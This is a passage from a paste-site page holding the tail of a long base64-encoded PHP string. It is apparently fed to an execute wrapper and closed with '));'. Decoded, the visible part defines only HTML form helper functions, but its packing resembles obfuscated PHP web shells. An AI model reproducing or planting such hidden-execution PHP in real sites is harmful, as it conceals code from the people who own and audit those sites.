  1151. DQoJZnIoJHJvd3MpOw0KCWlmICgkZnApIHsNCgkJZndyaXRlKCRmcCwiXG4iKTsNCgl9IGVsc2Ug
  1152. ew0KCQllY2hvICJcbiI7DQoJfQ0KfQ0KDQpmdW5jdGlvbiB1ZSgkc3RyKXsNCglyZXR1cm4gdXJs
  1153. ZW5jb2RlKCRzdHIpOw0KfQ0KDQpmdW5jdGlvbiBwKCRzdHIpew0KCWVjaG8gJHN0ci4iXG4iOw0K
  1154. fQ0KDQpmdW5jdGlvbiB0YmhlYWQoKSB7DQoJcCgnPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9
  1155. IjAiIGNlbGxwYWRkaW5nPSI0IiBjZWxsc3BhY2luZz0iMCI+Jyk7DQp9DQpmdW5jdGlvbiB0YmZv
  1156. b3QoKXsNCglwKCc8L3RhYmxlPicpOw0KfQ0KDQpmdW5jdGlvbiBtYWtlaGlkZSgkbmFtZSwkdmFs
  1157. dWU9Jycpew0KCXAoIjxpbnB1dCBpZD1cIiRuYW1lXCIgdHlwZT1cImhpZGRlblwiIG5hbWU9XCIk
  1158. bmFtZVwiIHZhbHVlPVwiJHZhbHVlXCIgLz4iKTsNCn0NCg0KZnVuY3Rpb24gbWFrZWlucHV0KCRh
  1159. cmcgPSBhcnJheSgpKXsNCgkkYXJnWydzaXplJ10gPSAkYXJnWydzaXplJ10gPiAwID8gInNpemU9
  1160. XCIkYXJnW3NpemVdXCIiIDogInNpemU9XCIxMDBcIiI7DQoJJGFyZ1snZXh0cmEnXSA9ICRhcmdb
  1161. J2V4dHJhJ10gPyAkYXJnWydleHRyYSddIDogJyc7DQoJISRhcmdbJ3R5cGUnXSAmJiAkYXJnWyd0
  1162. eXBlJ10gPSAndGV4dCc7DQoJJGFyZ1sndGl0bGUnXSA9ICRhcmdbJ3RpdGxlJ10gPyAkYXJnWyd0
  1163. aXRsZSddLic8YnIgLz4nIDogJyc7DQoJJGFyZ1snY2xhc3MnXSA9ICRhcmdbJ2NsYXNzJ10gPyAk
  1164. YXJnWydjbGFzcyddIDogJ2lucHV0JzsNCglpZiAoJGFyZ1snbmV3bGluZSddKSB7DQoJCXAoIjxw
  1165. PiRhcmdbdGl0bGVdPGlucHV0IGNsYXNzPVwiJGFyZ1tjbGFzc11cIiBuYW1lPVwiJGFyZ1tuYW1l
  1166. XVwiIGlkPVwiJGFyZ1tuYW1lXVwiIHZhbHVlPVwiJGFyZ1t2YWx1ZV1cIiB0eXBlPVwiJGFyZ1t0
  1167. eXBlXVwiICRhcmdbc2l6ZV0gJGFyZ1tleHRyYV0gLz48L3A+Iik7DQoJfSBlbHNlIHsNCgkJcCgi
  1168. JGFyZ1t0aXRsZV08aW5wdXQgY2xhc3M9XCIkYXJnW2NsYXNzXVwiIG5hbWU9XCIkYXJnW25hbWVd
  1169. XCIgaWQ9XCIkYXJnW25hbWVdXCIgdmFsdWU9XCIkYXJnW3ZhbHVlXVwiIHR5cGU9XCIkYXJnW3R5
  1170. cGVdXCIgJGFyZ1tzaXplXSAkYXJnW2V4dHJhXSAvPiIpOw0KCX0NCn0NCg0KZnVuY3Rpb24gbWFr
  1171. ZXNlbGVjdCgkYXJnID0gYXJyYXkoKSl7DQoJaWYgKCRhcmdbJ29uY2hhbmdlJ10pIHsNCgkJJG9u
  1172. Y2hhbmdlID0gJ29uY2hhbmdlPSInLiRhcmdbJ29uY2hhbmdlJ10uJyInOw0KCX0NCgkkYXJnWyd0
  1173. aXRsZSddID0gJGFyZ1sndGl0bGUnXSA/ICRhcmdbJ3RpdGxlJ10gOiAnJzsNCglpZiAoJGFyZ1sn
  1174. bmV3bGluZSddKSBwKCc8cD4nKTsNCglwKCIkYXJnW3RpdGxlXSA8c2VsZWN0IGNsYXNzPVwiaW5w
  1175. dXRcIiBpZD1cIiRhcmdbbmFtZV1cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiICRvbmNoYW5nZT4iKTsN
  1176. CgkJaWYgKGlzX2FycmF5KCRhcmdbJ29wdGlvbiddKSkgew0KCQkJZm9yZWFjaCAoJGFyZ1snb3B0
  1177. aW9uJ10gYXMgJGtleT0+JHZhbHVlKSB7DQoJCQkJaWYgKCRhcmdbJ3NlbGVjdGVkJ109PSRrZXkp
  1178. IHsNCgkJCQkJcCgiPG9wdGlvbiB2YWx1ZT1cIiRrZXlcIiBzZWxlY3RlZD4kdmFsdWU8L29wdGlv
  1179. bj4iKTsNCgkJCQl9IGVsc2Ugew0KCQkJCQlwKCI8b3B0aW9uIHZhbHVlPVwiJGtleVwiPiR2YWx1
  1180. ZTwvb3B0aW9uPiIpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCXAoIjwvc2VsZWN0PiIpOw0KCWlmICgk
  1181. YXJnWyduZXdsaW5lJ10pIHAoJzwvcD4nKTsNCn0NCmZ1bmN0aW9uIGZvcm1oZWFkKCRhcmcgPSBh
  1182. cnJheSgpKSB7DQoJISRhcmdbJ21ldGhvZCddICYmICRhcmdbJ21ldGhvZCddID0gJ3Bvc3QnOw0K
  1183. CSEkYXJnWydhY3Rpb24nXSAmJiAkYXJnWydhY3Rpb24nXSA9ICRzZWxmOw0KCSRhcmdbJ3Rhcmdl
  1184. dCddID0gJGFyZ1sndGFyZ2V0J10gPyAidGFyZ2V0PVwiJGFyZ1t0YXJnZXRdXCIiIDogJyc7DQoJ
  1185. ISRhcmdbJ25hbWUnXSAmJiAkYXJnWyduYW1lJ10gPSAnZm9ybTEnOw0KCXAoIjxmb3JtIG5hbWU9
  1186. XCIkYXJnW25hbWVdXCIgaWQ9XCIkYXJnW25hbWVdXCIgYWN0aW9uPVwiJGFyZ1thY3Rpb25dXCIg
  1187. bWV0aG9kPVwiJGFyZ1ttZXRob2RdXCIgJGFyZ1t0YXJnZXRdPiIpOw0KCWlmICgkYXJnWyd0aXRs
  1188. ZSddKSB7DQoJCXAoJzxoMj4nLiRhcmdbJ3RpdGxlJ10uJyAmcmFxdW87PC9oMj4nKTsNCgl9DQp9
  1189. DQoJDQpmdW5jdGlvbiBtYWtldGV4dCgkYXJnID0gYXJyYXkoKSl7DQoJISRhcmdbJ2NvbHMnXSAm
  1190. JiAkYXJnWydjb2xzJ10gPSAxMDA7DQoJISRhcmdbJ3Jvd3MnXSAmJiAkYXJnWydyb3dzJ10gPSAy
  1191. NTsNCgkkYXJnWyd0aXRsZSddID0gJGFyZ1sndGl0bGUnXSA/ICRhcmdbJ3RpdGxlJ10uJzxiciAv
  1192. PicgOiAnJzsNCglwKCI8cD4kYXJnW3RpdGxlXTx0ZXh0YXJlYSBjbGFzcz1cImFyZWFcIiBpZD1c
  1193. IiRhcmdbbmFtZV1cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiIGNvbHM9XCIkYXJnW2NvbHNdXCIgcm93
  1194. cz1cIiRhcmdbcm93c11cIiAkYXJnW2V4dHJhXT4kYXJnW3ZhbHVlXTwvdGV4dGFyZWE+PC9wPiIp
  1195. Ow0KfQ0KDQpmdW5jdGlvbiBmb3JtZm9vdGVyKCRuYW1lID0gJycpew0KCSEkbmFtZSAmJiAkbmFt
  1196. ZSA9ICdzdWJtaXQnOw0KCXAoJzxwPjxpbnB1dCBjbGFzcz0iYnQiIG5hbWU9IicuJG5hbWUuJyIg
  1197. aWQ9XCInLiRuYW1lLidcIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiPjwvcD4nKTsNCglw
  1198. KCc8L2Zvcm0+Jyk7DQp9DQoNCmZ1bmN0aW9uIGZvcm1mb290KCl7DQoJcCgnPC9mb3JtPicpOw0K
  1199. fQ0KDQovLyC198rUuq/K/Q0KZnVuY3Rpb24gcHIoJGEpIHsNCgllY2hvICc8cHJlPic7DQoJcHJp
  1200. bnRfcigkYSk7DQoJZWNobyAnPC9wcmU+JzsNCn0NCg=="));
  1201. ?>
Advertisement
Add Comment
Please, Sign In to add comment